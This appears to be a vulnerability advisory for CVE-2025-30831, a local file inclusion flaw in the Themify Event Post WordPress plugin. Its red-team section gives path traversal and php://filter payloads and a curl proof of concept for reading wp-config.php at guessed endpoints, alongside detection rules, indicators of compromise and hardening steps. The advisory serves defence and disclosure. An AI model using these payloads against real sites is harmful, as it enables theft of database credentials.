CVE-2025-30831

Executive Summary

CVE-2025-30831 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Themify Event Post WordPress plugin, developed by Themifyme. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The vulnerability affects all versions up to and including 1.3.2. No official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or through automated deployment tools are affected. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – An attacker can read sensitive files from the server.
• Integrity (I): None (N) – The vulnerability does not allow modification of data.
• Availability (A): None (N) – The vulnerability does not affect service availability.

CVSS Score: 7.5 (High) – The high confidentiality impact combined with network exploitability and no privileges required makes this a serious threat.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) issue. The plugin likely uses a user-supplied parameter (e.g., include_file, template, or similar) directly in a PHP include() or require() statement without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

By using path traversal sequences (e.g., ../../../../etc/passwd), an attacker can escape the intended directory and include sensitive files. The .php extension appended by the code can be bypassed using a null byte injection (in older PHP versions) or by using a wrapper like php://filter to read non-PHP files.

Attack vector:

1. The attacker identifies a parameter in the plugin that controls file inclusion.
2. The attacker sends a crafted HTTP request with a path traversal payload.
3. The server includes the specified file, outputting its contents to the attacker.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be present in all versions <= 1.3.2. A patched version would implement strict input validation, such as:

• Whitelisting allowed files.
• Using realpath() to resolve the path and ensure it falls within an allowed directory.
• Removing path traversal sequences.
• Avoiding direct user input in include()/require() statements.

Vulnerable code example (hypothetical):

$template = $_GET['template'];
include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');

Patched code example:

$allowed_templates = ['default', 'event', 'list'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');
} else {
    // Handle error
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Themify Event Post plugin version <= 1.3.2.
• Knowledge of the vulnerable parameter (e.g., file, template, include).

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:

   • /wp-content/plugins/themify-event-post/includes/event-post.php?file=...
   • /wp-content/plugins/themify-event-post/templates/event-template.php?template=...

2. Use path traversal to read sensitive files:

   GET /wp-content/plugins/themify-event-post/includes/event-post.php?file=../../../../wp-config
   

3. Use PHP wrappers to read non-PHP files:

   GET /wp-content/plugins/themify-event-post/includes/event-post.php?file=php://filter/convert.base64-encode/resource=../../../../wp-config.php
   

4. Decode the base64 output to retrieve the wp-config.php contents.

Proof of Concept (PoC) using curl:

curl -v "http://target.com/wp-content/plugins/themify-event-post/includes/event-post.php?file=php://filter/convert.base64-encode/resource=../../../../wp-config.php"

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious GET requests containing:

   • Path traversal sequences (../, ..\\, %2e%2e%2f)
   • PHP wrappers (php://, file://, expect://)
   • Requests to plugin files with unexpected parameters.

2. Implement a Web Application Firewall (WAF) rule to block:

   • Requests containing ../ or ..\\ in query parameters.
   • Requests using php:// or other stream wrappers.

3. Restrict file permissions on the server to prevent reading sensitive files.

4. Disable allow_url_include and allow_url_fopen in php.ini if not needed.

Indicators of Compromise (IOCs)

• File paths accessed:

  • /etc/passwd
  • /etc/shadow
  • /wp-config.php
  • /var/log/apache2/access.log
  • /proc/self/environ

• HTTP request patterns:

  • GET /wp-content/plugins/themify-event-post/*.php?file=php://filter/...
  • GET /wp-content/plugins/themify-event-post/*.php?file=../../../../etc/passwd

• Log entries:

  • "GET /wp-content/plugins/themify-event-post/includes/event-post.php?file=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1" 200

Detection Engineering

YARA Rule

rule Detect_Themify_Event_Post_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-30831 LFI in Themify Event Post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30831"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $php_wrapper = /php:\/\//
        $plugin_path = /themify-event-post/
    condition:
        $plugin_path and ($path_traversal or $php_wrapper)
}

Sigma Rule

title: Detect Themify Event Post LFI Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-30831 LFI in Themify Event Post plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'themify-event-post'
            - 'php://'
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30831 - Themify Event Post LFI Attempt"; flow:to_server,established; content:"themify-event-post"; http_uri; content:"php://"; http_uri; distance:0; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Implement a WAF rule to block path traversal and PHP wrapper requests.
3. Review server logs for signs of exploitation.

Long-term Fix:

• Monitor the Themifyme plugin repository for an updated version.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with an alternative that is actively maintained.

Configuration Hardening:

• Set allow_url_include = Off in php.ini.
• Use open_basedir to restrict file access.
• Regularly update all WordPress plugins and themes.

Valters IT
Securing Digital Frontiers